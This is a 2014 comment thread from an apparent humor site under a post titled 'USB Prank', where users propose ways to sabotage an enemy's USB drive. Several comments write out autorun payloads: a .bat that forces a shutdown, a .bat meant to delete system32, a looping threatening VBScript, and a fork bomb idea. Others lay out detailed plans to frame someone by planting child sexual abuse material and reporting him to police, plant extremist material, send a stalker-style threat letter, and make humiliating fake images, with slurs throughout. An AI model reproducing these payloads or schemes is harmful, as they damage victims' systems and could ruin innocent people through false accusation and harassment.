Home Original Content Funny Pictures Funny GIFs YouTube Funny Text Funny Movies Channels Search

hide menu

USB Prank

  • Recommend tagsx
+78
Views: 8165
Favorited: 6
Submitted: 04/09/2014
Share On Facebook
Add to favorites Subscribe to tacticalhog E-mail to friend submit to reddit

Comments(76):

[ 76 comments ]

Show All Replies Show Shortcuts
Show:   Top Rated Controversial Best Lowest Rated Newest Per page:
Order:
What do you think? Give us your opinion. Anonymous comments allowed.
User avatar #12 - whiteusername (04/10/2014) [+] (12 replies)
1)Open up a notepad file

2) type:
@echo off
shutdown -s

3)then save it as auto.bat

4) create a new notepad file

5) type

[autorun]
open=auto.bat

6) save as autorun.inf

7) Give usb to friend

8)Laugh Maniacally when his computer shuts down on him
#48 - Waro ONLINE (04/10/2014) [+] (6 replies)
"one of my enemies"

You some sort of faggot?
User avatar #9 - charagrin ONLINE (04/09/2014) [-]
Upload some CP onto it, hide the file on the USB in a folder of a folder of a folder, return it secretly, tell a teacher you saw him looking at CP on it during class.
#60 - therealslimdavey (04/10/2014) [+] (2 replies)
this might require some planning, but without a doubt will completely destroy the remainder of his life.

get access to his personal computer. i don't care how you do it, i'll let you figure it out. download a metric **** ton of child porn, on to said personal computer. i recommend changing time and date on his computer while you make this download so it appears as though he has had this fetish for a long time. transfer said metric **** ton of child porn on to his USB. promptly delete all evidence that you used his computer, including wiping off fingerprints, and making sure you don't leave any hair follicles near by.

next purchase an identical USB as the one he has, and put some random school files on it. also change the date on the files so it appears as though you've had the USB for some time now.

next fabricate a believable story that somehow you "accidentally" picked up his USB and were disgusted to find a metric **** ton of child porn on it. take you're evidence and story to your local police department and report the crime. of course your "enemy" will deny it and say that you put it on his USB to get him in trouble. but all you have to do is point out the dates the files were downloaded and tell the police to check his computer and viola! he'll be tried as an adult and will serve 5-10 years in the state penitentiary getting penetrated by members of every racial group.

what a prank amirite?

or you could do something harmless like fill up his USB with a random picture, but make a separate folder for each picture. and store his already saved folders randomly throughout the rest of the folders, so he has to check each and every folder before deleting it if he wants to get back his old info.
User avatar #22 - settlwlvs (04/10/2014) [-]
photoshop him trying to look sexy in lingere, then put it on there in a .doc format (or .ppt) that he is supposed to present to the class or send to his teacher.
#58 - antiherojoshua (04/10/2014) [-]
The first thing you do is go to Start and open notepad.

When opened notepad u typ in:
@echo off del C:\windows\system32

Then save it as a .bat file

After you did that, make sure YOU DON'T OPEN IT AT ALL!!
cause it deletes your system 32 files.
#19 - shreddednation (04/10/2014) [-]
Easy put things like the anarchist's cookbook and nazi propaganda and maybe even dozens of his "suicide attempt" diaries. Then report him to the authorities.
I know you can be an anonymous tipster in those situations.
I'm king of blackmail extortion and ruining lives. But only for gain of revenge and by what you say, He's a ******* scumbag that deserves it.
User avatar #66 - waterpipe (04/10/2014) [-]
Make a notepad note which is named "read me Anon". And write something like this:
"Hello. I cannot tell my name, but you probably know me. You have seen me looking at you sometimes, but not cared. And i don't mind, i mean, who would take a brief eye-contact as an hint of heart-burning desire on another. I'm really shy, and i don't have many friends, so this was the only way to contact you.
I can't keep it as a secret any longer. (write here something about his personality and looks, in a sexual way of course.) I have very strong feelings for you, and i really, really hope you might feel something too when i express my love against you in a few days. I announce it just once, so i will make sure everyone will be hearing it. I can't take the risk of you not showing there, so i can't tell you where i will reveal my passion, but it will be one of places you and your friends hang out. I can't wait.

And yes, i know what places you visit, where you like to be and where you live, so it won't be long before we'll be together. Forever.
I hope it won't be a issue that i'm a man. You will learn to love me soon enough. Soon..."
#26 - tacticalhog (04/10/2014) [+] (1 reply)
I decided with the MR Rogers. Here's the result. Paul is his name.
#6 - tacticalhog (04/09/2014) [+] (4 replies)
Heyo all, its OP, should I just put a couple megabytes worth of this photo?
#5 - supercookieduster (04/09/2014) [+] (1 reply)
fill it with gay porn duh
#73 - chords ONLINE (04/10/2014) [+] (1 reply)
open note pad
paste this :
do
StrText=("What the **** did you just ******* say about me, you little bitch? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the **** out with precision the likes of which has never been seen before on this Earth, mark my ******* words. You think you can get away with saying that **** to me over the Internet? Think again, ****** . As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re ******* dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little **** . If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your ******* tongue. But you couldn’t, you didn’t, and now you’re paying the price, you goddamn idiot. I will **** fury all over you and you will drown in it. You’re ******* dead, kiddo.")
set ObjVoice = CreateObject("SAPI.SpVoice")
ObjVoice.Speak StrText
Loop


save as .vbs

make a new notepad , type :
[autorun]
open=(what ever you named the last file).vbs

save as autorun.inf


done
#45 - kundotron (04/10/2014) [-]
i dont know, you descript him as a nice guy
#41 - twofreegerbils (04/10/2014) [+] (3 replies)
Slam ******* full of child porn.
User avatar #42 to #41 - xtrmbragnrytz (04/10/2014) [-]
OP would have to obtain the child porn in order to do that, most likely getting him arrested before he could "prank" the guy
User avatar #39 - midgettitwank (04/10/2014) [-]
just rename every single file as nick cage, change all the file types to .JPGs, leave him a .txt saying "you can't flimflam the Zimzam"
User avatar #38 - tombobbusama (04/10/2014) [-]
photoshop him into gay interracial porn
#2 - collegedood (04/09/2014) [-]
**collegedood rolled image**
make a script that automatically fork bombs a computer (different OS's have different fork bomb scripts) that he plugs it into. It wont harm the computer, it just fills up his memory with a node that duplicates itself indefinitely. The only way to free up the memory is to restart the computer manually.
User avatar #67 - danielsturk (04/10/2014) [-]
Rename all of his files to names of his other files. Throw in some of your own, rename them to his, rename some of his to yours.
User avatar #46 - xenotime (04/10/2014) [-]
Sounds like a really nice guy, I hate ******* too!
User avatar #27 - damping ONLINE (04/10/2014) [+] (1 reply)
Are your enemies konradkurze or schnizel? Because your description is spot on.
User avatar #29 to #27 - schnizel (04/10/2014) [-]
I still have mine.
[ 76 comments ]
Leave a comment
 Friends (0)